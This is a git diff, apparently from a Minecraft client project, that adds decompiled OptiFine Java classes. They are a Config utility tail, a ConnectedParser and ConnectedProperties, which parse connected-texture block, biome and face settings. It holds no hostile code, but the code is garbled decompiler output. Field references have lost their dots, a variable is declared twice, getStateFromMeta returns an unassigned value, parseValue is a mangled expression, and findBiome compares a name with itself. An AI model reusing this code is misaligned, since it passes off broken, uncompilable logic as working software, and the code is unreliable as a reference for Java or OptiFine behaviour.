+    ByteBuffer var4 = ByteBuffer.allocate(4 * var3.length);
+    int[] var5 = var3;
+    int var6 = var3.length;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      int var8 = var5[var7];
+      var4.putInt(var8 << 8 | var8 >> 24 & 0xFF);
+    }
+    
+    var4.flip();
+    return var4;
+  }
+  
+  public static void checkDisplayMode()
+  {
+    try
+    {
+      if (minecraft.isFullScreen())
+      {
+        if (fullscreenModeChecked)
+        {
+          return;
+        }
+        
+        fullscreenModeChecked = true;
+        desktopModeChecked = false;
+        DisplayMode e = Display.getDisplayMode();
+        Dimension dim = getFullscreenDimension();
+        
+        if (dim == null)
+        {
+          return;
+        }
+        
+        if ((e.getWidth() == width) && (e.getHeight() == height))
+        {
+          return;
+        }
+        
+        DisplayMode newMode = getDisplayMode(dim);
+        
+        if (newMode == null)
+        {
+          return;
+        }
+        
+        Display.setDisplayMode(newMode);
+        minecraftdisplayWidth = Display.getDisplayMode().getWidth();
+        minecraftdisplayHeight = Display.getDisplayMode().getHeight();
+        
+        if (minecraftdisplayWidth <= 0)
+        {
+          minecraftdisplayWidth = 1;
+        }
+        
+        if (minecraftdisplayHeight <= 0)
+        {
+          minecraftdisplayHeight = 1;
+        }
+        
+        if (minecraftcurrentScreen != null)
+        {
+          ScaledResolution sr = new ScaledResolution(minecraft);
+          int sw = sr.getScaledWidth();
+          int sh = sr.getScaledHeight();
+          minecraftcurrentScreen.setWorldAndResolution(minecraft, sw, sh);
+        }
+        
+        minecraftloadingScreen = new net.minecraft.client.LoadingScreenRenderer(minecraft);
+        updateFramebufferSize();
+        Display.setFullscreen(true);
+        minecraftgameSettings.updateVSync();
+        GlStateManager.func_179098_w();
+      }
+      else
+      {
+        if (desktopModeChecked)
+        {
+          return;
+        }
+        
+        desktopModeChecked = true;
+        fullscreenModeChecked = false;
+        minecraftgameSettings.updateVSync();
+        Display.update();
+        GlStateManager.func_179098_w();
+        Display.setResizable(false);
+        Display.setResizable(true);
+      }
+    }
+    catch (Exception var6)
+    {
+      var6.printStackTrace();
+    }
+  }
+  
+  public static void updateFramebufferSize()
+  {
+    minecraft.getFramebuffer().createBindFramebuffer(minecraftdisplayWidth, minecraftdisplayHeight);
+    
+    if (minecraftentityRenderer != null)
+    {
+      minecraftentityRenderer.updateShaderGroupSize(minecraftdisplayWidth, minecraftdisplayHeight);
+    }
+  }
+  
+  public static Object[] addObjectToArray(Object[] arr, Object obj)
+  {
+    if (arr == null)
+    {
+      throw new NullPointerException("The given array is NULL");
+    }
+    
+
+    int arrLen = arr.length;
+    int newLen = arrLen + 1;
+    Object[] newArr = (Object[])Array.newInstance(arr.getClass().getComponentType(), newLen);
+    System.arraycopy(arr, 0, newArr, 0, arrLen);
+    newArr[arrLen] = obj;
+    return newArr;
+  }
+  
+
+  public static Object[] addObjectToArray(Object[] arr, Object obj, int index)
+  {
+    ArrayList list = new ArrayList(Arrays.asList(arr));
+    list.add(index, obj);
+    Object[] newArr = (Object[])Array.newInstance(arr.getClass().getComponentType(), list.size());
+    return list.toArray(newArr);
+  }
+  
+  public static Object[] addObjectsToArray(Object[] arr, Object[] objs)
+  {
+    if (arr == null)
+    {
+      throw new NullPointerException("The given array is NULL");
+    }
+    if (objs.length == 0)
+    {
+      return arr;
+    }
+    
+
+    int arrLen = arr.length;
+    int newLen = arrLen + objs.length;
+    Object[] newArr = (Object[])Array.newInstance(arr.getClass().getComponentType(), newLen);
+    System.arraycopy(arr, 0, newArr, 0, arrLen);
+    System.arraycopy(objs, 0, newArr, arrLen, objs.length);
+    return newArr;
+  }
+  
+
+  public static boolean isCustomItems()
+  {
+    return gameSettingsofCustomItems;
+  }
+  
+  public static void drawFps()
+  {
+    Minecraft var10000 = minecraft;
+    int fps = Minecraft.func_175610_ah();
+    String updates = getUpdates(minecraftdebug);
+    int renderersActive = minecraftrenderGlobal.getCountActiveRenderers();
+    int entities = minecraftrenderGlobal.getCountEntitiesRendered();
+    int tileEntities = minecraftrenderGlobal.getCountTileEntitiesRendered();
+    String fpsStr = fps + " fps, C: " + renderersActive + ", E: " + entities + "+" + tileEntities + ", U: " + updates;
+    minecraftfontRendererObj.drawString(fpsStr, 2, 2, -2039584);
+  }
+  
+  private static String getUpdates(String str)
+  {
+    int pos1 = str.indexOf('(');
+    
+    if (pos1 < 0)
+    {
+      return "";
+    }
+    
+
+    int pos2 = str.indexOf(' ', pos1);
+    return pos2 < 0 ? "" : str.substring(pos1 + 1, pos2);
+  }
+  
+
+  public static int getBitsOs()
+  {
+    String progFiles86 = System.getenv("ProgramFiles(X86)");
+    return progFiles86 != null ? 64 : 32;
+  }
+  
+  public static int getBitsJre()
+  {
+    String[] propNames = { "sun.arch.data.model", "com.ibm.vm.bitmode", "os.arch" };
+    
+    for (int i = 0; i < propNames.length; i++)
+    {
+      String propName = propNames[i];
+      String propVal = System.getProperty(propName);
+      
+      if ((propVal != null) && (propVal.contains("64")))
+      {
+        return 64;
+      }
+    }
+    
+    return 32;
+  }
+  
+  public static boolean isNotify64BitJava()
+  {
+    return notify64BitJava;
+  }
+  
+  public static void setNotify64BitJava(boolean flag)
+  {
+    notify64BitJava = flag;
+  }
+  
+  public static boolean isConnectedModels()
+  {
+    return false;
+  }
+  
+  public static String fillLeft(String s, int len, char fillChar)
+  {
+    if (s == null)
+    {
+      s = "";
+    }
+    
+    if (s.length() >= len)
+    {
+      return s;
+    }
+    
+
+    StringBuffer buf = new StringBuffer(s);
+    
+    while (buf.length() < len - s.length())
+    {
+      buf.append(fillChar);
+    }
+    
+    return buf.toString() + s;
+  }
+  
+
+  public static String fillRight(String s, int len, char fillChar)
+  {
+    if (s == null)
+    {
+      s = "";
+    }
+    
+    if (s.length() >= len)
+    {
+      return s;
+    }
+    
+
+    StringBuffer buf = new StringBuffer(s);
+    
+    while (buf.length() < len)
+    {
+      buf.append(fillChar);
+    }
+    
+    return buf.toString();
+  }
+  
+
+  public static void showGuiMessage(String line1, String line2)
+  {
+    GuiMessage gui = new GuiMessage(minecraftcurrentScreen, line1, line2);
+    minecraft.displayGuiScreen(gui);
+  }
+  
+  public static int[] addIntToArray(int[] intArray, int intValue)
+  {
+    return addIntsToArray(intArray, new int[] { intValue });
+  }
+  
+  public static int[] addIntsToArray(int[] intArray, int[] copyFrom)
+  {
+    if ((intArray != null) && (copyFrom != null))
+    {
+      int arrLen = intArray.length;
+      int newLen = arrLen + copyFrom.length;
+      int[] newArray = new int[newLen];
+      System.arraycopy(intArray, 0, newArray, 0, arrLen);
+      
+      for (int index = 0; index < copyFrom.length; index++)
+      {
+        newArray[(index + arrLen)] = copyFrom[index];
+      }
+      
+      return newArray;
+    }
+    
+
+    throw new NullPointerException("The given array is NULL");
+  }
+  
+
+  public static DynamicTexture getMojangLogoTexture(DynamicTexture texDefault)
+  {
+    try
+    {
+      ResourceLocation e = new ResourceLocation("textures/gui/title/mojang.png");
+      InputStream in = getResourceStream(e);
+      
+      if (in == null)
+      {
+        return texDefault;
+      }
+      
+
+      BufferedImage bi = ImageIO.read(in);
+      
+      if (bi == null)
+      {
+        return texDefault;
+      }
+      
+
+      return new DynamicTexture(bi);
+
+
+    }
+    catch (Exception var5)
+    {
+
+      warn(var5.getClass().getName() + ": " + var5.getMessage()); }
+    return texDefault;
+  }
+  
+  public static void writeFile(File file, String str)
+    throws IOException
+  {
+    FileOutputStream fos = new FileOutputStream(file);
+    byte[] bytes = str.getBytes("ASCII");
+    fos.write(bytes);
+    fos.close();
+  }
+  
+  public static TextureMap getTextureMap()
+  {
+    return getMinecraft().getTextureMapBlocks();
+  }
+  
+  public static boolean isDynamicLights()
+  {
+    return gameSettingsofDynamicLights != 3;
+  }
+  
+  public static boolean isDynamicLightsFast()
+  {
+    return gameSettingsofDynamicLights == 1;
+  }
+  
+  public static boolean isDynamicHandLight()
+  {
+    return isDynamicLights();
+  }
+}
diff --git a/src/minecraft/optifine/ConnectedParser.java b/src/minecraft/optifine/ConnectedParser.java
new file mode 100644
index 0000000..e7985fa
--- /dev/null
+++ b/src/minecraft/optifine/ConnectedParser.java
@@ -0,0 +1,807 @@
+package optifine;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDoublePlant;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class ConnectedParser
+{
+  private String context = null;
+  private static final MatchBlock[] NO_MATCH_BLOCKS = new MatchBlock[0];
+  
+  public ConnectedParser(String context)
+  {
+    this.context = context;
+  }
+  
+  public String parseName(String path)
+  {
+    String str = path;
+    int pos = path.lastIndexOf('/');
+    
+    if (pos >= 0)
+    {
+      str = path.substring(pos + 1);
+    }
+    
+    int pos2 = str.lastIndexOf('.');
+    
+    if (pos2 >= 0)
+    {
+      str = str.substring(0, pos2);
+    }
+    
+    return str;
+  }
+  
+  public String parseBasePath(String path)
+  {
+    int pos = path.lastIndexOf('/');
+    return pos < 0 ? "" : path.substring(0, pos);
+  }
+  
+  public MatchBlock[] parseMatchBlocks(String propMatchBlocks)
+  {
+    if (propMatchBlocks == null)
+    {
+      return null;
+    }
+    
+
+    ArrayList list = new ArrayList();
+    String[] blockStrs = Config.tokenize(propMatchBlocks, " ");
+    
+    for (int mbs = 0; mbs < blockStrs.length; mbs++)
+    {
+      String blockStr = blockStrs[mbs];
+      MatchBlock[] mbs1 = parseMatchBlock(blockStr);
+      
+      if (mbs1 == null)
+      {
+        return NO_MATCH_BLOCKS;
+      }
+      
+      list.addAll(Arrays.asList(mbs1));
+    }
+    
+    MatchBlock[] var7 = (MatchBlock[])list.toArray(new MatchBlock[list.size()]);
+    return var7;
+  }
+  
+
+  public MatchBlock[] parseMatchBlock(String blockStr)
+  {
+    if (blockStr == null)
+    {
+      return null;
+    }
+    
+
+    blockStr = blockStr.trim();
+    
+    if (blockStr.length() <= 0)
+    {
+      return null;
+    }
+    
+
+    String[] parts = Config.tokenize(blockStr, ":");
+    String domain = "minecraft";
+    boolean blockIndex = false;
+    byte var14;
+    byte var14;
+    if ((parts.length > 1) && (isFullBlockName(parts)))
+    {
+      domain = parts[0];
+      var14 = 1;
+    }
+    else
+    {
+      domain = "minecraft";
+      var14 = 0;
+    }
+    
+    String blockPart = parts[var14];
+    String[] params = (String[])Arrays.copyOfRange(parts, var14 + 1, parts.length);
+    Block[] blocks = parseBlockPart(domain, blockPart);
+    
+    if (blocks == null)
+    {
+      return null;
+    }
+    
+
+    MatchBlock[] datas = new MatchBlock[blocks.length];
+    
+    for (int i = 0; i < blocks.length; i++)
+    {
+      Block block = blocks[i];
+      int blockId = Block.getIdFromBlock(block);
+      int[] metadatas = null;
+      
+      if (params.length > 0)
+      {
+        metadatas = parseBlockMetadatas(block, params);
+        
+        if (metadatas == null)
+        {
+          return null;
+        }
+      }
+      
+      MatchBlock bd = new MatchBlock(blockId, metadatas);
+      datas[i] = bd;
+    }
+    
+    return datas;
+  }
+  
+
+
+
+  public boolean isFullBlockName(String[] parts)
+  {
+    if (parts.length < 2)
+    {
+      return false;
+    }
+    
+
+    String part1 = parts[1];
+    return part1.length() >= 1;
+  }
+  
+
+  public boolean startsWithDigit(String str)
+  {
+    if (str == null)
+    {
+      return false;
+    }
+    if (str.length() < 1)
+    {
+      return false;
+    }
+    
+
+    char ch = str.charAt(0);
+    return Character.isDigit(ch);
+  }
+  
+
+  public Block[] parseBlockPart(String domain, String blockPart)
+  {
+    if (startsWithDigit(blockPart))
+    {
+      int[] var8 = parseIntList(blockPart);
+      
+      if (var8 == null)
+      {
+        return null;
+      }
+      
+
+      Block[] var9 = new Block[var8.length];
+      
+      for (int var10 = 0; var10 < var8.length; var10++)
+      {
+        int id = var8[var10];
+        Block block1 = Block.getBlockById(id);
+        
+        if (block1 == null)
+        {
+          warn("Block not found for id: " + id);
+          return null;
+        }
+        
+        var9[var10] = block1;
+      }
+      
+      return var9;
+    }
+    
+
+
+    String fullName = domain + ":" + blockPart;
+    Block block = Block.getBlockFromName(fullName);
+    
+    if (block == null)
+    {
+      warn("Block not found for name: " + fullName);
+      return null;
+    }
+    
+
+    Block[] blocks = { block };
+    return blocks;
+  }
+  
+
+
+  public int[] parseBlockMetadatas(Block block, String[] params)
+  {
+    if (params.length <= 0)
+    {
+      return null;
+    }
+    
+
+    String param0 = params[0];
+    
+    if (startsWithDigit(param0))
+    {
+      int[] var19 = parseIntList(param0);
+      return var19;
+    }
+    
+
+    IBlockState stateDefault = block.getDefaultState();
+    Collection properties = stateDefault.getPropertyNames();
+    HashMap mapPropValues = new HashMap();
+    
+    for (int listMetadatas = 0; listMetadatas < params.length; listMetadatas++)
+    {
+      String metadatas = params[listMetadatas];
+      
+      if (metadatas.length() > 0)
+      {
+        String[] i = Config.tokenize(metadatas, "=");
+        
+        if (i.length != 2)
+        {
+          warn("Invalid block property: " + metadatas);
+          return null;
+        }
+        
+        String e = i[0];
+        String valStr = i[1];
+        IProperty prop = ConnectedProperties.getProperty(e, properties);
+        
+        if (prop == null)
+        {
+          warn("Property not found: " + e + ", block: " + block);
+          return null;
+        }
+        
+        Object list = (List)mapPropValues.get(e);
+        
+        if (list == null)
+        {
+          list = new ArrayList();
+          mapPropValues.put(prop, list);
+        }
+        
+        String[] vals = Config.tokenize(valStr, ",");
+        
+        for (int v = 0; v < vals.length; v++)
+        {
+          String val = vals[v];
+          Comparable propVal = parsePropertyValue(prop, val);
+          
+          if (propVal == null)
+          {
+            warn("Property value not found: " + val + ", property: " + e + ", block: " + block);
+            return null;
+          }
+          
+          ((List)list).add(propVal);
+        }
+      }
+    }
+    
+    if (mapPropValues.isEmpty())
+    {
+      return null;
+    }
+    
+
+    ArrayList var20 = new ArrayList();
+    
+
+    for (int var21 = 0; var21 < 16; var21++)
+    {
+      int var23 = var21;
+      
+      try
+      {
+        IBlockState var24 = getStateFromMeta(block, var23);
+        
+        if (matchState(var24, mapPropValues))
+        {
+          var20.add(Integer.valueOf(var23));
+        }
+      }
+      catch (IllegalArgumentException localIllegalArgumentException) {}
+    }
+    
+
+
+
+    if (var20.size() == 16)
+    {
+      return null;
+    }
+    
+
+    int[] var22 = new int[var20.size()];
+    
+    for (int var23 = 0; var23 < var22.length; var23++)
+    {
+      var22[var23] = ((Integer)var20.get(var23)).intValue();
+    }
+    
+    return var22;
+  }
+  
+
+
+
+
+  private IBlockState getStateFromMeta(Block block, int md)
+  {
+    try
+    {
+      IBlockState e = block.getStateFromMeta(md);
+      IBlockState bsLow;
+      if ((block == Blocks.double_plant) && (md > 7))
+      {
+        bsLow = block.getStateFromMeta(md & 0x7); }
+      return e.withProperty(BlockDoublePlant.VARIANT_PROP, bsLow.getValue(BlockDoublePlant.VARIANT_PROP));
+    }
+    catch (IllegalArgumentException var5) {}
+    
+
+
+
+    return block.getDefaultState();
+  }
+  
+
+  public static Comparable parsePropertyValue(IProperty prop, String valStr)
+  {
+    Class valueClass = prop.getValueClass();
+    Comparable valueObj = parseValue(valStr, valueClass);
+    
+    if (valueObj == null)
+    {
+      Collection propertyValues = prop.getAllowedValues();
+      valueObj = getPropertyValue(valStr, propertyValues);
+    }
+    
+    return valueObj;
+  }
+  
+  public static Comparable getPropertyValue(String value, Collection propertyValues)
+  {
+    Iterator it = propertyValues.iterator();
+    
+    Comparable obj;
+    do
+    {
+      if (!it.hasNext())
+      {
+        return null;
+      }
+      
+      obj = (Comparable)it.next();
+    }
+    while (!String.valueOf(obj).equals(value));
+    
+    return obj;
+  }
+  
+  public static Comparable parseValue(String str, Class cls)
+  {
+    return cls == Boolean.class ? Boolean.valueOf(str) : cls == String.class ? str : Double.valueOf(cls == Double.class ? Double.valueOf(str).doubleValue() : cls == Float.class ? Float.valueOf(str).floatValue() : cls == Integer.class ? Integer.valueOf(str).intValue() : (cls == Long.class ? Long.valueOf(str) : null).longValue());
+  }
+  
+  public boolean matchState(IBlockState bs, Map<IProperty, List<Comparable>> mapPropValues)
+  {
+    Set keys = mapPropValues.keySet();
+    Iterator it = keys.iterator();
+    
+    List vals;
+    Comparable bsVal;
+    do
+    {
+      if (!it.hasNext())
+      {
+        return true;
+      }
+      
+      IProperty prop = (IProperty)it.next();
+      vals = (List)mapPropValues.get(prop);
+      bsVal = bs.getValue(prop);
+      
+      if (bsVal == null)
+      {
+        return false;
+      }
+      
+    } while (vals.contains(bsVal));
+    
+    return false;
+  }
+  
+  public BiomeGenBase[] parseBiomes(String str)
+  {
+    if (str == null)
+    {
+      return null;
+    }
+    
+
+    String[] biomeNames = Config.tokenize(str, " ");
+    ArrayList list = new ArrayList();
+    
+    for (int biomeArr = 0; biomeArr < biomeNames.length; biomeArr++)
+    {
+      String biomeName = biomeNames[biomeArr];
+      BiomeGenBase biome = findBiome(biomeName);
+      
+      if (biome == null)
+      {
+        warn("Biome not found: " + biomeName);
+      }
+      else
+      {
+        list.add(biome);
+      }
+    }
+    
+    BiomeGenBase[] var7 = (BiomeGenBase[])list.toArray(new BiomeGenBase[list.size()]);
+    return var7;
+  }
+  
+
+  public BiomeGenBase findBiome(String biomeName)
+  {
+    biomeName = biomeName.toLowerCase();
+    
+    if (biomeName.equals("nether"))
+    {
+      return BiomeGenBase.hell;
+    }
+    
+
+    BiomeGenBase[] biomeList = BiomeGenBase.getBiomeGenArray();
+    
+    for (int i = 0; i < biomeList.length; i++)
+    {
+      BiomeGenBase biome = biomeList[i];
+      
+      if (biome != null)
+      {
+        String name = biomeName.replace(" ", "").toLowerCase();
+        
+        if (name.equals(biomeName))
+        {
+          return biome;
+        }
+      }
+    }
+    
+    return null;
+  }
+  
+
+  public int parseInt(String str)
+  {
+    if (str == null)
+    {
+      return -1;
+    }
+    
+
+    int num = Config.parseInt(str, -1);
+    
+    if (num < 0)
+    {
+      warn("Invalid number: " + str);
+    }
+    
+    return num;
+  }
+  
+
+  public int parseInt(String str, int defVal)
+  {
+    if (str == null)
+    {
+      return defVal;
+    }
+    
+
+    int num = Config.parseInt(str, -1);
+    
+    if (num < 0)
+    {
+      warn("Invalid number: " + str);
+      return defVal;
+    }
+    
+
+    return num;
+  }
+  
+
+
+  public int[] parseIntList(String str)
+  {
+    if (str == null)
+    {
+      return null;
+    }
+    
+
+    ArrayList list = new ArrayList();
+    String[] intStrs = Config.tokenize(str, " ,");
+    
+    for (int ints = 0; ints < intStrs.length; ints++)
+    {
+      String i = intStrs[ints];
+      
+      if (i.contains("-"))
+      {
+        String[] val = Config.tokenize(i, "-");
+        
+        if (val.length != 2)
+        {
+          warn("Invalid interval: " + i + ", when parsing: " + str);
+        }
+        else
+        {
+          int min = Config.parseInt(val[0], -1);
+          int max = Config.parseInt(val[1], -1);
+          
+          if ((min >= 0) && (max >= 0) && (min <= max))
+          {
+            for (int n = min; n <= max; n++)
+            {
+              list.add(Integer.valueOf(n));
+            }
+            
+          }
+          else {
+            warn("Invalid interval: " + i + ", when parsing: " + str);
+          }
+        }
+      }
+      else
+      {
+        int var12 = Config.parseInt(i, -1);
+        
+        if (var12 < 0)
+        {
+          warn("Invalid number: " + i + ", when parsing: " + str);
+        }
+        else
+        {
+          list.add(Integer.valueOf(var12));
+        }
+      }
+    }
+    
+    int[] var10 = new int[list.size()];
+    
+    for (int var11 = 0; var11 < var10.length; var11++)
+    {
+      var10[var11] = ((Integer)list.get(var11)).intValue();
+    }
+    
+    return var10;
+  }
+  
+
+  public boolean[] parseFaces(String str, boolean[] defVal)
+  {
+    if (str == null)
+    {
+      return defVal;
+    }
+    
+
+    EnumSet setFaces = EnumSet.allOf(EnumFacing.class);
+    String[] faceStrs = Config.tokenize(str, " ,");
+    
+    for (int faces = 0; faces < faceStrs.length; faces++)
+    {
+      String i = faceStrs[faces];
+      
+      if (i.equals("sides"))
+      {
+        setFaces.add(EnumFacing.NORTH);
+        setFaces.add(EnumFacing.SOUTH);
+        setFaces.add(EnumFacing.WEST);
+        setFaces.add(EnumFacing.EAST);
+      }
+      else if (i.equals("all"))
+      {
+        setFaces.addAll(Arrays.asList(EnumFacing.VALUES));
+      }
+      else
+      {
+        EnumFacing face = parseFace(i);
+        
+        if (face != null)
+        {
+          setFaces.add(face);
+        }
+      }
+    }
+    
+    boolean[] var8 = new boolean[EnumFacing.VALUES.length];
+    
+    for (int var9 = 0; var9 < var8.length; var9++)
+    {
+      var8[var9] = setFaces.contains(EnumFacing.VALUES[var9]);
+    }
+    
+    return var8;
+  }
+  
+
+  public EnumFacing parseFace(String str)
+  {
+    str = str.toLowerCase();
+    
+    if ((!str.equals("bottom")) && (!str.equals("down")))
+    {
+      if ((!str.equals("top")) && (!str.equals("up")))
+      {
+        if (str.equals("north"))
+        {
+          return EnumFacing.NORTH;
+        }
+        if (str.equals("south"))
+        {
+          return EnumFacing.SOUTH;
+        }
+        if (str.equals("east"))
+        {
+          return EnumFacing.EAST;
+        }
+        if (str.equals("west"))
+        {
+          return EnumFacing.WEST;
+        }
+        
+
+        Config.warn("Unknown face: " + str);
+        return null;
+      }
+      
+
+
+      return EnumFacing.UP;
+    }
+    
+
+
+    return EnumFacing.DOWN;
+  }
+  
+
+  public void dbg(String str)
+  {
+    Config.dbg(context + ": " + str);
+  }
+  
+  public void warn(String str)
+  {
+    Config.warn(context + ": " + str);
+  }
+  
+  public RangeListInt parseRangeListInt(String str)
+  {
+    if (str == null)
+    {
+      return null;
+    }
+    
+
+    RangeListInt list = new RangeListInt();
+    String[] parts = Config.tokenize(str, " ,");
+    
+    for (int i = 0; i < parts.length; i++)
+    {
+      String part = parts[i];
+      RangeInt ri = parseRangeInt(part);
+      
+      if (ri == null)
+      {
+        return null;
+      }
+      
+      list.addRange(ri);
+    }
+    
+    return list;
+  }
+  
+
+  private RangeInt parseRangeInt(String str)
+  {
+    if (str == null)
+    {
+      return null;
+    }
+    if (str.indexOf('-') >= 0)
+    {
+      String[] val1 = Config.tokenize(str, "-");
+      
+      if (val1.length != 2)
+      {
+        warn("Invalid range: " + str);
+        return null;
+      }
+      
+
+      int min = Config.parseInt(val1[0], -1);
+      int max = Config.parseInt(val1[1], -1);
+      
+      if ((min >= 0) && (max >= 0))
+      {
+        return new RangeInt(min, max);
+      }
+      
+
+      warn("Invalid range: " + str);
+      return null;
+    }
+    
+
+
+
+    int val = Config.parseInt(str, -1);
+    
+    if (val < 0)
+    {
+      warn("Invalid integer: " + str);
+      return null;
+    }
+    
+
+    return new RangeInt(val, val);
+  }
+  
+
+
+  public static boolean parseBoolean(String str)
+  {
+    return str == null ? false : str.toLowerCase().equals("true");
+  }
+  
+  public static int parseColor(String str, int defVal)
+  {
+    if (str == null)
+    {
+      return defVal;
+    }
+    
+
+    str = str.trim();
+    
+    try
+    {
+      return Integer.parseInt(str, 16) & 0xFFFFFF;
+    }
+    catch (NumberFormatException var3) {}
+    
+
+    return defVal;
+  }
+}
diff --git a/src/minecraft/optifine/ConnectedProperties.java b/src/minecraft/optifine/ConnectedProperties.java
new file mode 100644
index 0000000..33d4ab4
--- /dev/null
+++ b/src/minecraft/optifine/ConnectedProperties.java
@@ -0,0 +1,960 @@
+package optifine;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Properties;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class ConnectedProperties
+{
+  public String name = null;
+  public String basePath = null;
+  public MatchBlock[] matchBlocks = null;
+  public int[] metadatas = null;
+  public String[] matchTiles = null;
+  public int method = 0;
+  public String[] tiles = null;
+  public int connect = 0;
+  public int faces = 63;
+  public BiomeGenBase[] biomes = null;
+  public int minHeight = 0;
+  public int maxHeight = 1024;
+  public int renderPass = 0;
+  public boolean innerSeams = false;
+  public int width = 0;
+  public int height = 0;
+  public int[] weights = null;
+  public int symmetry = 1;
+  public int[] sumWeights = null;
+  public int sumAllWeights = 1;
+  public TextureAtlasSprite[] matchTileIcons = null;
+  public TextureAtlasSprite[] tileIcons = null;
+  public static final int METHOD_NONE = 0;
+  public static final int METHOD_CTM = 1;
+  public static final int METHOD_HORIZONTAL = 2;
+  public static final int METHOD_TOP = 3;
+  public static final int METHOD_RANDOM = 4;
+  public static final int METHOD_REPEAT = 5;
+  public static final int METHOD_VERTICAL = 6;
+  public static final int METHOD_FIXED = 7;
+  public static final int METHOD_HORIZONTAL_VERTICAL = 8;
+  public static final int METHOD_VERTICAL_HORIZONTAL = 9;
+  public static final int CONNECT_NONE = 0;
+  public static final int CONNECT_BLOCK = 1;
+  public static final int CONNECT_TILE = 2;
+  public static final int CONNECT_MATERIAL = 3;
+  public static final int CONNECT_UNKNOWN = 128;
+  public static final int FACE_BOTTOM = 1;
+  public static final int FACE_TOP = 2;
+  public static final int FACE_NORTH = 4;
+  public static final int FACE_SOUTH = 8;
+  public static final int FACE_WEST = 16;
+  public static final int FACE_EAST = 32;
+  public static final int FACE_SIDES = 60;
+  public static final int FACE_ALL = 63;
+  public static final int FACE_UNKNOWN = 128;
+  public static final int SYMMETRY_NONE = 1;
+  public static final int SYMMETRY_OPPOSITE = 2;
+  public static final int SYMMETRY_ALL = 6;
+  public static final int SYMMETRY_UNKNOWN = 128;
+  
+  public ConnectedProperties(Properties props, String path)
+  {
+    ConnectedParser cp = new ConnectedParser("ConnectedTextures");
+    name = cp.parseName(path);
+    basePath = cp.parseBasePath(path);
+    matchBlocks = cp.parseMatchBlocks(props.getProperty("matchBlocks"));
+    metadatas = cp.parseIntList(props.getProperty("metadata"));
+    matchTiles = parseMatchTiles(props.getProperty("matchTiles"));
+    method = parseMethod(props.getProperty("method"));
+    tiles = parseTileNames(props.getProperty("tiles"));
+    connect = parseConnect(props.getProperty("connect"));
+    faces = parseFaces(props.getProperty("faces"));
+    biomes = cp.parseBiomes(props.getProperty("biomes"));
+    minHeight = cp.parseInt(props.getProperty("minHeight"), -1);
+    maxHeight = cp.parseInt(props.getProperty("maxHeight"), 1024);
+    renderPass = cp.parseInt(props.getProperty("renderPass"));
+    innerSeams = ConnectedParser.parseBoolean(props.getProperty("innerSeams"));
+    width = cp.parseInt(props.getProperty("width"));
+    height = cp.parseInt(props.getProperty("height"));
+    weights = cp.parseIntList(props.getProperty("weights"));
+    symmetry = parseSymmetry(props.getProperty("symmetry"));
+  }
+  
+  private String[] parseMatchTiles(String str)
+  {
+    if (str == null)
+    {
+      return null;
+    }
+    
+
+    String[] names = Config.tokenize(str, " ");
+    
+    for (int i = 0; i < names.length; i++)
+    {
+      String iconName = names[i];
+      
+      if (iconName.endsWith(".png"))
+      {
+        iconName = iconName.substring(0, iconName.length() - 4);
+      }
+      
+      iconName = TextureUtils.fixResourcePath(iconName, basePath);
+      names[i] = iconName;
+    }
+    
+    return names;
+  }
+  
+
+  private static String parseName(String path)
+  {
+    String str = path;
+    int pos = path.lastIndexOf('/');
+    
+    if (pos >= 0)
+    {
+      str = path.substring(pos + 1);
+    }
+    
+    int pos2 = str.lastIndexOf('.');
+    
+    if (pos2 >= 0)
+    {
+      str = str.substring(0, pos2);
+    }
+    
+    return str;
+  }
+  
+  private static String parseBasePath(String path)
+  {
+    int pos = path.lastIndexOf('/');
+    return pos < 0 ? "" : path.substring(0, pos);
+  }
+  
+  private String[] parseTileNames(String str)
+  {
+    if (str == null)
+    {
+      return null;
+    }
+    
+
+    ArrayList list = new ArrayList();
+    String[] iconStrs = Config.tokenize(str, " ,");
+    
+
+    for (int names = 0; names < iconStrs.length; names++)
+    {
+      String i = iconStrs[names];
+      
+      if (i.contains("-"))
+      {
+        String[] iconName = Config.tokenize(i, "-");
+        
+        if (iconName.length == 2)
+        {
+          int pathBlocks = Config.parseInt(iconName[0], -1);
+          int max = Config.parseInt(iconName[1], -1);
+          
+          if ((pathBlocks >= 0) && (max >= 0))
+          {
+            if (pathBlocks <= max)
+            {
+              int n = pathBlocks;
+              
+
+
+              while (n <= max)
+              {
+
+
+
+                list.add(String.valueOf(n));
+                n++;
+              }
+            }
+            
+            Config.warn("Invalid interval: " + i + ", when parsing: " + str);
+            continue;
+          }
+        }
+      }
+      
+      list.add(i);
+    }
+    
+    String[] var10 = (String[])list.toArray(new String[list.size()]);
+    
+    for (int var11 = 0; var11 < var10.length; var11++)
+    {
+      String var12 = var10[var11];
+      var12 = TextureUtils.fixResourcePath(var12, basePath);
+      
+      if ((!var12.startsWith(basePath)) && (!var12.startsWith("textures/")) && (!var12.startsWith("mcpatcher/")))
+      {
+        var12 = basePath + "/" + var12;
+      }
+      
+      if (var12.endsWith(".png"))
+      {
+        var12 = var12.substring(0, var12.length() - 4);
+      }
+      
+      String var13 = "textures/blocks/";
+      
+      if (var12.startsWith(var13))
+      {
+        var12 = var12.substring(var13.length());
+      }
+      
+      if (var12.startsWith("/"))
+      {
+        var12 = var12.substring(1);
+      }
+      
+      var10[var11] = var12;
+    }
+    
+    return var10;
+  }
+  
+
+  private static int parseSymmetry(String str)
+  {
+    if (str == null)
+    {
+      return 1;
+    }
+    if (str.equals("opposite"))
+    {
+      return 2;
+    }
+    if (str.equals("all"))
+    {
+      return 6;
+    }
+    
+
+    Config.warn("Unknown symmetry: " + str);
+    return 1;
+  }
+  
+
+  private static int parseFaces(String str)
+  {
+    if (str == null)
+    {
+      return 63;
+    }
+    
+
+    String[] faceStrs = Config.tokenize(str, " ,");
+    int facesMask = 0;
+    
+    for (int i = 0; i < faceStrs.length; i++)
+    {
